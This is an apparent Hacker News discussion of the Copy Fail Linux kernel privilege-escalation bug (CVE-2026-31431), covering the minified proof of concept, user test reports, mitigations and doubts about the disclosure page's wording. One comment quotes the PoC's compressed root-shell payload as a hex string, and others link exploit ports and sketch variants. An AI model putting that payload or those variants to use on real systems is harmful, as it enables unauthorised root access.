        If you have a choice between posting minimized exploit code, and posting regular exploit code, posting minimized code is virtually always the wrong choice.<p>If you have a choice between pointing out the byte size of the exploit, and not pointing out the byte size of the exploit, pointing it out is virtually always the wrong choice.<p>In both cases, doing the right thing is <i>less work</i>. So somebody is going the extra way to ensure they are doing it wrong. If they didn&#x27;t care, they&#x27;d end up doing it right by default.
      • nvme0n1p119 hours ago
        &gt; as long as you communicate the intent<p>How does &quot;import os as g&quot; communicate the intent? How does hiding the payload behind zlib communicate the intent? This is the opposite: obfuscating the intent, so they can brag about 732 bytes instead of 846 bytes (or whatever it might have been).<p>It would have been less work for everyone involved to just release the unminified source.
      • opello20 hours ago
        While not formally reviewing code like this, I read a lot of it for fun. When it&#x27;s clear and understandable, it&#x27;s more educational and enjoyable. If the PoC code can also serve as a means of communication, that seems like an extra win.
    • infogulch19 hours ago
      While I agree that it doesn&#x27;t make much sense to use a minimizer on code the reader could understand, the code-golfed byte count of a CVE repro communicates its complexity in a certain visceral way.
    • refulgentis20 hours ago
      It&#x27;s just lazy AI* writing w&#x2F;0 editing.<p>&quot;Just&quot; is doing a lot of work there, I&#x27;m so annoyed reading it.<p>It&#x27;s like an anti-ad and they had pretty cool material to work with.<p>* Claude loves stacatto &quot;Some numeric figure. Something else. Intensifier&quot; (ex. the &quot;exploitable for a decade.&quot; or whatever sentences)
      • bonzini19 hours ago
        Completely without editing, to the point of hallucinating a RHEL version (14.3) that doesn&#x27;t exist.
      • tjbecker19 hours ago
        I recommend reading the technical writeup <a href="https:&#x2F;&#x2F;xint.io&#x2F;blog&#x2F;copy-fail-linux-distributions" rel="nofollow">https:&#x2F;&#x2F;xint.io&#x2F;blog&#x2F;copy-fail-linux-distributions</a>
        • internetter26 minutes ago
          Technical writeup is also slop I fear
    • ok12345620 hours ago
      This is pretty legible compared to the 90s C rootshell.org exploits.
    • fragmede19 hours ago
      &gt; Anyway, I could go on.<p>Then go on. zlib is only used once, so &quot;zlib as z&quot; in exchange for using z once doesn&#x27;t get you anything. Using os directly and not renaming it g saves you 2 bytes though. But in this age where AI outputs reams of code at the drop of a hat, why shouldn&#x27;t we enjoy how small you can get it to pop a root shell?<p><a href="https:&#x2F;&#x2F;gist.github.com&#x2F;fragmede&#x2F;4fb38fb822359b8f5914127c2fe1c94f" rel="nofollow">https:&#x2F;&#x2F;gist.github.com&#x2F;fragmede&#x2F;4fb38fb822359b8f5914127c2fe...</a><p>edit: If we drop offset_src=0 and just pass in 0 positionally, it comes down to 720.
      • Banditoz19 hours ago
        &gt;...why shouldn&#x27;t we enjoy how small you can get it to pop a root shell?<p>Because I want to know what the exploit is doing and how it works, and if it&#x27;s even safe to run.<p>A privesc PoC is NOT the place for this kind of fun.
        • akdev1l19 hours ago
          Agreed lmao the PoC itself looks like you’re getting attacked<p>Which I guess is true but I would like to verify the attack is the intended one
    • john_strinlai20 hours ago
      &gt;<i>As a code author&#x2F;reviewer, I would never write &quot;os as g&quot; and I would absolutely never approve review of any code that used this.</i><p>lucky for them, its an exploit script, not enterprise code.<p>all that needs to be &quot;reviewed&quot; is whether or not it exploits the thing its supposed to.<p>edit: yall really think a 10-line proof of concept script needs to undergo a code review? wild. i shouldnt be surprised that the top comment on a cool LPE exploit is complaining about variable naming
      • StableAlkyne19 hours ago
        It&#x27;s just sloppy. Readers are human, and little mistakes like this take away from the article. Then you add a nonexistent RHEL version, and it just isn&#x27;t a good look. Which is a shame, because it&#x27;s otherwise a very interesting vuln.<p>Maybe you didn&#x27;t care, but the length of this comment chain clearly shows that it matters. Effective communication is just as important as the engineering.
        • john_strinlai19 hours ago
          agreed regarding the RHEL version!<p>i just dont understand huffing and puffing over <i>&quot;os as g&quot;</i> in a 10-line poc script, and saying <i>&quot;well i would never approve this&quot;</i>. its not enterprise code. its not code that will ever be used anywhere else, for anything. its sole purpose is to prove that the exploit is real, which it does!<p>the rest of the information is in the actual vulnerability report. the poc is a courtesy to the reportee, so that they can confirm that the report itself isnt bullshit.<p>evidently, given the downvotes i am getting, people think exploit scripts should be enterprise quality code. ¯\_(ツ)_&#x2F;¯ half of the reports i see flowing through mailing lists dont even have a poc.<p>amazingly HN-like to be upset about a variable name
          • akdev1l19 hours ago
            Disagree because to run the PoC you really ought to understand what it’s doing.<p>And this code is not readable at all. It is failing at letting people confirm the exploit easily.
            • john_strinlai19 hours ago
              &gt;<i>Disagree because to run the PoC you really ought to understand what it’s doing.</i><p>that is contained in the report, which will look similar to the blog. the maintainers will have an open line of contact with the reporters as well. the poc is a small part of the entire report. its not like the linux maintainers <i>only</i> received this poc and have to work out the vulnerability from it alone.<p>&gt;<i>It is failing at letting people confirm the exploit easily.</i><p>it confirms the exploit incredibly easy. just run it, and you get confirmation.
              • akdev1l17 hours ago
                what the blog says and what the code does are two different things.<p>For all I know the blog itself is a honey pot. I need to know what the code does before I run it.
                • john_strinlai16 hours ago
                  &gt;<i>I need to know what the code does before I run it.</i><p>its literally code meant to exploit your system. you should be running it in an environment built for that <i>already</i>.<p>you dont test exploit pocs on your daily driver.
                  • akdev1l1 hour ago
                    &gt; you dont test exploit pocs on your daily driver.<p>Do you just like making fake points and pretending other people said them?
                • asdfaoeu16 hours ago
                  While your at it you can enter your credit card details to see if they&#x27;ve been leaked.
          • asdfaoeu17 hours ago
            I don&#x27;t anyone is saying it&#x27;s not &quot;enterprise&quot; it&#x27;s just that they clearly went out of their way to make it less readable. By all means advertise the golf&#x27;d line count but just have the non minified script.
      • Xirdus19 hours ago
        I&#x27;d imagine that at minimum, the team in charge of patching the vulnerability would need to review how the exploit works.
        • john_strinlai19 hours ago
          id imagine that they received more than just the poc in the report they received
          • Xirdus19 hours ago
            That doesn&#x27;t make reviewing the POC any less valuable.
            • john_strinlai19 hours ago
              what value do you believe renaming the variable from &quot;g&quot; to something else provides the linux maintainers?
              • Xirdus18 hours ago
                It makes the exploit code more readable. We all love to laugh at C folks but for real, even Linux kernel maintainers care about readability.
  • Lorin21 hours ago
    What is the rationale behind naming CVEs and individual domains? Marketing?
    • diath21 hours ago
      It&#x27;s an advertisement for their tool that found the exploit: <a href="https:&#x2F;&#x2F;copy.fail&#x2F;#contact" rel="nofollow">https:&#x2F;&#x2F;copy.fail&#x2F;#contact</a>, <a href="https:&#x2F;&#x2F;xint.io&#x2F;products&#x2F;xint-code" rel="nofollow">https:&#x2F;&#x2F;xint.io&#x2F;products&#x2F;xint-code</a>
    • john_strinlai21 hours ago
      can you remember what CVE-2021-44228 is without looking it up? CVE-2014-6271? CVE-2017-5753?<p>i bet if i told you their names, you would instantly know what vulns those are.<p>its easier to talk about things with names. it hurts no one. it takes approximately no effort or time.<p>CVEs are, for whatever reason, like the only thing on the planet that people seem to have a problem with when they receive a name. i am not sure why.
      • QuantumNomad_20 hours ago
        &gt; CVEs are, for whatever reason, like the only thing on the planet that people seem to have a problem with when they receive a name. i am not sure why.<p>What, you guys talk about books based on their “title” instead of just memorising the ISBN of each book? Pssh, count me disappointed!
        • john_strinlai20 hours ago
          after work i have to stop at Y87794H0US1R65VBXU25 for some groceries.
          • akerl_20 hours ago
            I only refer to my kids by their social security numbers until they do something suitably remarkable.<p>I guess it’s a good thing I’m not a SovCit or I’d just have to call them Traveller Three and Traveller Four
      • n3rdr4g310 hours ago
        For anyone else that was curious they&#x27;re log4j, shellshock, and spectre
    • evanjrowley21 hours ago
      The AI generated prose screams marketing. Marketing is why there&#x27;s a &quot;Contact our Security Team&quot; form at the bottom of the page.
    • tptacek21 hours ago
      It&#x27;s certainly marketing, but it&#x27;s prosocial: there&#x27;s no scarcity of names, and &quot;copy.fail&quot; is much easier to remember and talk about than &quot;CVE-2026-31431&quot;.
    • skilled21 hours ago
      Probably to some extent it is marketing, but generally it has to do with significant bug finds to get the message out to the people who need to apply patches and&#x2F;or be informed. Heartbleed, Log4Shell, etc.<p>Very few CVE’s get names dedicated to them like this, because usually when they do - it is very serious, as in this case.
    • eddythompson8021 hours ago
      Giving catchy names for bad exploits has been a thing for a while. Probably to make sure it&#x27;s easy to reference and make sure you&#x27;re patches as opposed to passing numbers around. Heartbleed, Shellshock, BEAST, Goto Fail, etc
    • dgellow21 hours ago
      Yes, originally it was to help spread awareness. Now it has become more of a gimmick I would say
    • ronsor21 hours ago
      It makes sure people don&#x27;t forget about the vulnerabilities, at least
    • Fuzzbit21 hours ago
      Same reason they name storms, numbers scare normies
  • mikeweiss15 hours ago
    Anyone have any idea when Bottlerocket will acknowledge CVE? Seems like a critical for kubernetes nodes......<p><a href="https:&#x2F;&#x2F;github.com&#x2F;bottlerocket-os&#x2F;bottlerocket&#x2F;security&#x2F;advisories" rel="nofollow">https:&#x2F;&#x2F;github.com&#x2F;bottlerocket-os&#x2F;bottlerocket&#x2F;security&#x2F;adv...</a>
  • WhyNotHugo15 hours ago
    &gt; Any setuid-root binary readable by the user works.<p>Interesting detail. On Alpine, `&#x2F;usr&#x2F;bin&#x2F;su` is not readable by any user, so the PoC doesn&#x27;t work.<p>I suspect that the underlying issue can be exploited in other ways, but it makes me think that there&#x27;s no reason for <i>any</i> suid binary to be world-readable.
    • ranger_danger10 hours ago
      Wouldn&#x27;t executing it still put it in the page cache, just in a different place?
  • erans19 hours ago
    For agents, if you are concerned about that, block access to &quot;su&quot; as it is interactive anyway. Not loading it into the memory will block the attack. If you are using AgentSH (<a href="https:&#x2F;&#x2F;www.agentsh.org" rel="nofollow">https:&#x2F;&#x2F;www.agentsh.org</a>) you can add a rule to block &quot;su&quot; and soon be able to block AF_ALG sockets if you want to further protect things.
    • tardedmeme17 hours ago
      This vulnerability can affect any file you can read. The PoC uses &quot;su&quot; but any setuid binary or any binary that root invokes or is already running as root is vulnerable, as well as many configuration files.
  • ilaksh4 hours ago
    Does this affect my Hetzner VPSs running Ubuntu probably? Or Nebius H200 VMs?<p>They are probably Ubuntu 24 but don&#x27;t remember.
  • q3k17 hours ago
    Quickly dove into this.<p>1. Yes, it&#x27;s real.<p>2. Current chain can write any arbitrary content to any user-readable file (into the page cache).<p>3. Current chain relies on an available target suid binary that you can open() as a lowpriv user.<p>4. Current exploit relies on that binary being &#x2F;bin&#x2F;su and then being able to execve(&#x2F;bin&#x2F;sh, 0, 0) (which doesn&#x27;t work on alpine, etc.). The former is easily replaced in the code. The latter needs a rebuilt payload ELF (also easy).<p>5. The authors say they have other chains (including ones that allow container escapes). I believe them.<p>6. A mildly de-minified PoC for Alpine with a new payload ELF is at hackerspace[pl]&#x2F;~q3k&#x2F;alpine.py . You&#x27;ll need &#x2F;bin&#x2F;ping from iputils. This should be now somewhat reliable on any distro that has a `&#x2F;bin&#x2F;sh` and any setuid-and-readable binary (you&#x27;ll just need to find it on your own).
    • q3k16 hours ago
      And yeah, you can just change arbitrary instructions of any running process (including privileged) as long as you have read access to that process&#x27; binary:<p><a href="https:&#x2F;&#x2F;object.ceph-waw3.hswaw.net&#x2F;mastodon-prod&#x2F;media_attachments&#x2F;files&#x2F;116&#x2F;490&#x2F;539&#x2F;301&#x2F;682&#x2F;066&#x2F;original&#x2F;0e25f6b7b79cf80f.png" rel="nofollow">https:&#x2F;&#x2F;object.ceph-waw3.hswaw.net&#x2F;mastodon-prod&#x2F;media_attac...</a>
  • w2seraph21 hours ago
    holy smokes it just rooted my just installed from ISO Ubuntu server
  • porridgeraisin21 hours ago
    Better explanation of the write up (still from original exploit author) : <a href="https:&#x2F;&#x2F;xint.io&#x2F;blog&#x2F;copy-fail-linux-distributions" rel="nofollow">https:&#x2F;&#x2F;xint.io&#x2F;blog&#x2F;copy-fail-linux-distributions</a>
  • SeriousM10 hours ago
    I wonder if this is a problem for very old honeypods like the one on turris omnia, sold many years ago. Docker wasn&#x27;t a thing these days and everything was done with lcx containers, if at all.
  • aniou19 hours ago
    Looks like a LLM hallucination - there is no thing like &quot;RHEL 14.3&quot;, although referenced kernel signature (6.12.0-124.45.1.el10_1) contains reference to real RHEL release, i.e. 10.1.
  • TZubiri14 hours ago
    It looks like this is legit, but the script is very phishy and I wouldn&#x27;t run it in unvirtualized or disposable systems.<p><a href="https:&#x2F;&#x2F;github.com&#x2F;theori-io&#x2F;copy-fail-CVE-2026-31431&#x2F;blob&#x2F;main&#x2F;copy_fail_exp.py" rel="nofollow">https:&#x2F;&#x2F;github.com&#x2F;theori-io&#x2F;copy-fail-CVE-2026-31431&#x2F;blob&#x2F;m...</a><p>&gt;zlib.decompress(d(&quot;78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3&quot;))<p>This is not source code, this is binary, it&#x27;s entirely possible that this contains a script that downloads another malicious script (or that simply contains the malicious commands)<p>That said, I understand why a terser script might have been prioritized.<p>EDIT: There&#x27;s a couple of C ports in the comments that contain more details and no compressed payloads.
    • q3k14 hours ago
      &gt; This is not source code, this is binary, it&#x27;s entirely possible that this contains a script that downloads another malicious script (or that simply contains the malicious commands)<p>It doesn&#x27;t, it&#x27;s just a compressed ELF file that does setuid(0); execve(&#x2F;bin&#x2F;sh, 0, 0). You can just unzlib it and throw it in a disassembler.
  • deep2secure19 hours ago
    I checked it. Very nice efforts made to create it
  • chasil21 hours ago
    On the downside, I need to push new kernels to all my servers.<p>On this bright side, does this mean Magisk is coming to all unpatched Android phones?
    • akdev1l19 hours ago
      No, Android doesn’t have suid binaries to exploit like in the PoC
      • tardedmeme17 hours ago
        The vulnerability can also be used on any binary that is already running as root and you can open for reading. So yes, any android app can now escalate to root <i>if</i> android has the vulnerable module.
        • userbinator15 hours ago
          Unfortunately another comment thread here says that it doesn&#x27;t.
  • kayson16 hours ago
    s6-overlay is a popular container image base for many self hosted services, and it uses an suid binary for startup. I wonder if this could be used to escape the container?
  • Ekaros21 hours ago
    So this could be usable in lot of places with Python and Linux running? Not that I have too many Linux devices around. Still, might be handy sometimes on personal devices.
    • kro21 hours ago
      This can likely be shipped as binary code without dependencies like python, as the bug is in the kernel.
      • ranger_danger18 hours ago
        C version here: <a href="https:&#x2F;&#x2F;gist.github.com&#x2F;alufers&#x2F;921cd6c4b606c5014d6cc61eefb080fe" rel="nofollow">https:&#x2F;&#x2F;gist.github.com&#x2F;alufers&#x2F;921cd6c4b606c5014d6cc61eefb0...</a>
      • tgies15 hours ago
        [dead]
    • SteveNuts20 hours ago
      There&#x27;s nothing specific about this related to Python, that&#x27;s just demonstrating how it works.<p>This is usable anywhere on an affected Kernel version
  • zdimension18 hours ago
    Works on all my servers. This is terrifying.
  • krunck20 hours ago
    Wow. I tried it on an old testing VM of Ubuntu 24.04 that had not been touched for a few months. Instant root with the bonus that any user that runs &quot;su&quot; gets root too. I updated the VM thinking it would be fixed afterward. Nope.
    • akdev1l19 hours ago
      You’d have to reinstall the su binary itself I guess
      • cyberpunk19 hours ago
        It just changes the page cache for the su binary, a reboot will revert it.
        • majorchord18 hours ago
          No need to reboot:<p>sync &amp;&amp; echo 3 &gt;&#x2F;proc&#x2F;sys&#x2F;vm&#x2F;drop_caches
  • rtpg9 hours ago
    Can we just make a one-pager instead of this nonsense LLM bullet pointed list that is explaining this issue to your pointy-haired CEO instead of to sysadmins who understand the badness in 3 lines? Yeesh
  • pelasaco4 hours ago
    Fun day for people running bare metal GPU nodes, where teams have been training models for months, and now it must be abruptly aborted to apply security patches... is that something that can be resumed, or do they have to restart from scratch?
  • fsflover9 hours ago
    As usual, Qubes is not vulnerable, since by its design, any untrusted software runs in dedicated VMs with hardware virtualization.<p>Meanwhile, recent Xen CVEs also do not affect Qubes, as usual, <a href="https:&#x2F;&#x2F;www.qubes-os.org&#x2F;news&#x2F;2026&#x2F;04&#x2F;28&#x2F;xsas-released-on-2026-04-28&#x2F;" rel="nofollow">https:&#x2F;&#x2F;www.qubes-os.org&#x2F;news&#x2F;2026&#x2F;04&#x2F;28&#x2F;xsas-released-on-20...</a>
    • kuhsaft1 hour ago
      You know that Xen is just a hypervisor right? Dom0 (the admin Qube) is running the Linux kernel and is vulnerable like any other Linux system. DomU (App Qubes) also run the Linux kernel and are just as vulnerable.<p>You can check your DomU kernels using this guide:<p><a href="https:&#x2F;&#x2F;doc.qubes-os.org&#x2F;en&#x2F;latest&#x2F;user&#x2F;advanced-topics&#x2F;managing-vm-kernels.html" rel="nofollow">https:&#x2F;&#x2F;doc.qubes-os.org&#x2F;en&#x2F;latest&#x2F;user&#x2F;advanced-topics&#x2F;mana...</a><p>If your Dom0 or DomU is running kernel &lt; 6.18.22, or between 6.19.0 and 16.19.12 you are vulnerable.<p><a href="https:&#x2F;&#x2F;github.com&#x2F;QubesOS&#x2F;qubes-linux-kernel&#x2F;pull&#x2F;1272" rel="nofollow">https:&#x2F;&#x2F;github.com&#x2F;QubesOS&#x2F;qubes-linux-kernel&#x2F;pull&#x2F;1272</a> commit fafe0fa2995a of the kernel mirror<p>Currently stable version of QubeOS does not have the patched kernels. <a href="https:&#x2F;&#x2F;yum.qubes-os.org&#x2F;r4.3&#x2F;current&#x2F;dom0&#x2F;fc41&#x2F;rpm&#x2F;" rel="nofollow">https:&#x2F;&#x2F;yum.qubes-os.org&#x2F;r4.3&#x2F;current&#x2F;dom0&#x2F;fc41&#x2F;rpm&#x2F;</a>
      • fsflover1 hour ago
        &gt; Dom0 (the admin Qube) is running the Linux kernel and is vulnerable<p>Yes, it is vulnerable, except there is no attack vector, as you don&#x27;t run any software there: <a href="https:&#x2F;&#x2F;doc.qubes-os.org&#x2F;en&#x2F;r4.3&#x2F;user&#x2F;downloading-installing-upgrading&#x2F;supported-releases.html#note-on-dom0-and-eol" rel="nofollow">https:&#x2F;&#x2F;doc.qubes-os.org&#x2F;en&#x2F;r4.3&#x2F;user&#x2F;downloading-installing...</a><p>&gt; DomU (App Qubes) also run the Linux kernel and are just as vulnerable.<p>I think you misinterpret the Qubes approach to security. If you do everything in one VM, you get no protection from the virtualization. Moreover, there is no sudo password by design: <a href="https:&#x2F;&#x2F;doc.qubes-os.org&#x2F;en&#x2F;r4.3&#x2F;user&#x2F;security-in-qubes&#x2F;vm-sudo.html" rel="nofollow">https:&#x2F;&#x2F;doc.qubes-os.org&#x2F;en&#x2F;r4.3&#x2F;user&#x2F;security-in-qubes&#x2F;vm-s...</a> This is not how to use Qubes.<p>You need to compartmentalize your workflows. It doesn&#x27;t matter if my disposable VM is compromised. My secrets are in another, offline VM, where I never run anything. There is no way to use the discussed vulnerability, if one uses Qubes according to docs. See examples here: <a href="https:&#x2F;&#x2F;doc.qubes-os.org&#x2F;en&#x2F;latest&#x2F;user&#x2F;how-to-guides&#x2F;how-to-organize-your-qubes.html" rel="nofollow">https:&#x2F;&#x2F;doc.qubes-os.org&#x2F;en&#x2F;latest&#x2F;user&#x2F;how-to-guides&#x2F;how-to...</a>
  • jchw17 hours ago
    I tried this on NixOS, but it doesn&#x27;t seem to be easily reproducible. There&#x27;s no &#x2F;usr&#x2F;bin&#x2F;su - okay, fine: I changed it to &#x2F;run&#x2F;wrappers&#x2F;bin&#x2F;su, but that didn&#x27;t work, and I <i>think</i> the reason why is because the NixOS suid wrappers have +x but not +r:<p><pre><code> $ ls -lah &#x2F;run&#x2F;wrappers&#x2F;bin&#x2F;su -r-s--x--x 1 root root 70K Apr 27 11:09 &#x2F;run&#x2F;wrappers&#x2F;bin&#x2F;su </code></pre> Not that this makes the underlying mechanism of the exploit any better, but I wonder what else you can do with it. Is there a way to target a suid binary that doesn&#x27;t have +r? I guess all of the suid binaries necessarily don&#x27;t, since the wrapper system doesn&#x27;t grant it and you can&#x27;t have suid binaries in the &#x2F;nix&#x2F;store.<p>I know it&#x27;s also unrelated, but this is the most aggressively obvious LLM slop copy I&#x27;ve ever seen and it is a page with like 30 sentences. I guess we&#x27;re just seriously doing this, huh?
    • chuso8 hours ago
      It&#x27;s the same with Gentoo, setuid binaries are installed without read permission.<p>But modifying a setuid binary is just the demo exploit that was published with the vulnerability disclosure. The vulnerability actually allows modifying four bytes in any readable file. That means system configuration files, other binaries intended to be run by root, libraries... It&#x27;s not limited to modifying setuid binaries.
  • chvish19 hours ago
    Are kernel crypto modules even loaded by default on enterprise distros
    • ranger_danger18 hours ago
      Attempting to open an AF_ALG socket will load the module on-demand if necessary.
  • DannyBee16 hours ago
    I love how it says &quot;Standalone PoC. Python 3.10+ stdlib only (os, socket, zlib). Targets &#x2F;usr&#x2F;bin&#x2F;su by default; pass another setuid binary as argv[1].&quot;<p>Except you can&#x27;t pass another setuid binary as argv[1] because the AI writing this slop never added that feature to this python script.<p>I can&#x27;t get it to work on any distro i&#x27;ve tried.
  • dist-epoch20 hours ago
    &gt; Will you release the full PoC?<p>&gt; Yes — it&#x27;s on this page. We held it for a month while distros prepared patches; the major builds are out as of this writing.<p>There is no update available for Ubuntu 24, PoC works and just tried updating.
  • firesteelrain17 hours ago
    RHEL is listing this as fix deferred for RHEL 8 and 9.
    • yrro7 hours ago
      They&#x27;ve bumped the severity and 8&#x2F;9&#x2F;10 are now &#x27;affected&#x27;. Hope a patch comes soon!
  • nromiun10 hours ago
    I tried this exploit on Android and it looks like you need root in the first place to create an AF_ALG socket. I guess it is an SELinux policy to disable AF_ALG entirely.
  • DetroitThrow21 hours ago
    Despite the copy&#x2F;images being weird about RHEL 14.3, this seems to work. Wow?
  • charcircuit21 hours ago
    SUID binaries once again assisted a local privilege escalation attack. This is a major problem that distros can&#x27;t keep ignoring.
    • marshray17 hours ago
      There&#x27;s a claim upthread that a straightforward variation works against &#x2F;etc&#x2F;passwd.
      • q3k14 hours ago
        You can also just use this to patch libc and turn close() into close-but-also-give-me-a-root-shell().
  • maxtaco21 hours ago
    Use extreme caution running arbitrary code on your machines, especially obfuscated code that tickles kernel bugs! (edited)
    • stackghost21 hours ago
      Analysis of the POC concurs with my tests that confirm that the portion of `su` that gets overwritten does not survive a reboot.
      • wang_li19 hours ago
        it&#x27;s living in your page cache, not on your disk. flush the caches and it&#x27;ll disappear.
        • stackghost16 hours ago
          Indeed. But it&#x27;s easier to just kill a container or a k8s node and reprovision than to flush the caches
    • charcircuit21 hours ago
      The page explicitly describes that it is stealthy as it does not make permanent changes, only corrupting the binary in memory.
      • scratchyone18 hours ago
        unfortunately the page can also lie to you haha. it seems people have reviewed the code by now, but running suspicious shellcode you don&#x27;t fully understand is never a great idea.
        • charcircuit17 hours ago
          I personally had AI review the code, add comments, disassemble the shell code, etc.
          • scratchyone17 hours ago
            that&#x27;s quite smart. i was almost stupid enough to paste it into a terminal to check if it worked before deciding to wait and let others analyze it first haha
  • themafia21 hours ago
    &gt; If your kernel was built between 2017 and the patch<p>This is why I compile my own kernel. I disable things I don&#x27;t use. If it&#x27;s not present it can&#x27;t hurt you.<p>&gt; block AF_ALG socket creation via seccomp regardless of patch state.<p>Likewise I use seccomp to only allow syscalls that are necessary. Everything else is disabled. In the programs I have that need to connect to a backend socket, that is done, and then socket creation is disabled.
    • tosti18 hours ago
      Any pointers on how to set that up? Like, run all the things through strace, cut the first field, sort, uniq, run through some template and something somesuch what how?
  • lloydatkinson6 hours ago
    You can tell security has become complete theatre when people are registering domains and setting up a whole fucking website for individual ones.
  • baggy_trough21 hours ago
    Is this fixed in any stable release kernel yet?
    • Wingy21 hours ago
      7.0-rc1 has a tag with it:<p><pre><code> % git describe a664bf3d603d v7.0-rc1-10-ga664bf3d603d </code></pre> I suspect this means the stable 7.0 has it too.
  • pkoiralap17 hours ago
    Does anyone have a workaround for it? Edit: I don&#x27;t understand why the comment would be downvoted.
    • angch16 hours ago
      I used, for debian based systems:<p><pre><code> printf &quot;# CVE-2026-31431\nblacklist algif_aead\ninstall algif_aead &#x2F;bin&#x2F;false\n&quot; | sudo tee &#x2F;etc&#x2F;modprobe.d&#x2F;blacklist-algif_aead.conf &gt;&#x2F;dev&#x2F;null &amp;&amp; sudo update-initramfs -u</code></pre>
    • a963 hours ago
      There&#x27;s some workarounds in <a href="https:&#x2F;&#x2F;copy.fail&#x2F;#mitigation" rel="nofollow">https:&#x2F;&#x2F;copy.fail&#x2F;#mitigation</a>
  • proactivesvcs7 minutes ago
    [dead]
  • nickcw21 hours ago
    [dead]
  • FlyThruTheSun15 hours ago
    [dead]
  • oncallthrow17 hours ago
    [flagged]
  • TehCorwiz21 hours ago
    It does not behave as described on EndeavorOS (arch-based) running kernel 6.19.14-arch1-1. I receive the error:<p>Password: su: Authentication token manipulation error<p>I&#x27;m guessing this means it&#x27;s already patched?
    • john_strinlai21 hours ago
      yes, it was reported on march 23rd, patches on april 1.<p>you are reading about it now <i>because</i> it has been patched.
      • marshray20 hours ago
        No it hasn&#x27;t.<p>Ubuntu before 26.04 LTS (released a week ago) are currently listed as vulnerable.<p>Debian other than forky and sid are currently listed as vulnerable.<p>This is a disgrace.
        • john_strinlai20 hours ago
          Disclosure timeline<p><pre><code> 2026-03-23Reported to Linux kernel security team 2026-03-24Initial acknowledgment 2026-03-25Patches proposed and reviewed 2026-04-01Patch committed to mainline 2026-04-22CVE-2026-31431 assigned 2026-04-29Public disclosure (https:&#x2F;&#x2F;copy.fail&#x2F;) </code></pre> kernel 6.19.14-arch1-1, the kernel in question from the parent comment, has been patched.
          • marshray19 hours ago
            The lesson here being... compile your own kernel from git sources every few days?<p>Give up entirely on non-virtualized container security?<p>This is not sarcasm. I&#x27;d finally given in and started learning about docker&#x2F;podman-style OCI containerization last week.
            • john_strinlai19 hours ago
              in this specific case, they offer an alternative mitigation if your chosen distro has not updated yet:<p>For immediate mitigation, block AF_ALG socket creation via seccomp or blacklist the algif_aead module:<p><pre><code> echo &quot;install algif_aead &#x2F;bin&#x2F;false&quot; &gt; &#x2F;etc&#x2F;modprobe.d&#x2F;disable-algif-aead.conf rmmod algif_aead 2&gt;&#x2F;dev&#x2F;null</code></pre>
              • marshray19 hours ago
                Thanks!<p>I&#x27;d do &#x27;umask 133&#x27; in front of the echo out of paranoia.<p>Out of curiosity, was the asterisk after &#x27;2&gt;&#x2F;dev&#x2F;null&#x27; intentional? I had not seen that idiom before.
                • john_strinlai19 hours ago
                  the asterisk is my oops, trying to format the comment in italics to differentiate my comment from the text provided by the author. sorry for the confusion
                • ranger_danger18 hours ago
                  And I would do chattr +i disable-algif.conf
            • DooMMasteR2 hours ago
              I mean, most Kernel version literally got the patch 2026.04.30, so just today.
            • x413215 hours ago
              are you sure containerization would be more secure? this is also a rootless podman escape. the lesson here is to not give random people shell access to your systems.
    • dimastopel21 hours ago
      same result on my arch machine as well.
  • eaf7e28118 hours ago
    I&#x27;m impressed that such a serious problem popped up out of nowhere.<p>In my opinion, this mostly affects countries that are still using outdated systems, especially critical systems.<p>This gives bad actors a direct route to the root. Having an easily accessible root is not funny.
  • pixel_popping19 hours ago
    Yet, some people will still continue to say that &quot;AI&quot; isn&#x27;t ready to replace (or strongly assist) our workflows, sure, some of the best humans devs left a vulnerability that serious <i>(It&#x27;s extremely serious, so many container as a service are vulnerable)</i> for 9 years and an agent found it in 1 hour, maybe it&#x27;s time to wake up and accept that it&#x27;s UNSAFE to not use AI for security review as well?
    • collinmcnulty19 hours ago
      A human security researcher found the core issue and an agent searched for where to apply it. I don’t think “an agent found it in one hour” is a fair summary of what happened.
      • marshray17 hours ago
        &quot;The starting insight — that splice() hands page-cache pages into the crypto subsystem and that scatterlist page provenance might be an under-explored bug class — came from human research by Taeyang Lee at Xint. From there, Xint Code scaled the audit across the entire crypto&#x2F; subsystem in roughly an hour. Copy Fail was the highest-severity finding in the run.&quot;<p>So, if anything, this might argue <i>against</i> the presence of huge quantities of high-severity bugs in this part of the Linux kernel (that could be found by &quot;Xint Code&quot;-class scanning systems).
      • pixel_popping19 hours ago
        I was a bit rough, agreed, but the overall point is still correct, I kinda want to emphasize that I&#x27;ve also ran hundred of loops recently <i>(combination of opus-4.6&#x2F;gpt-5.4&#x2F;gemini-3.1-pro-preview)</i> toward a Rust codebase that we manage and that we deemed secure after many audits and found 2 serious issues as well in it, this was also audited externally by a third party that we&#x27;ve paid, which makes me genuinely scared of releasing anything without deep AI verification nowadays.<p>Anybody has the same feeling?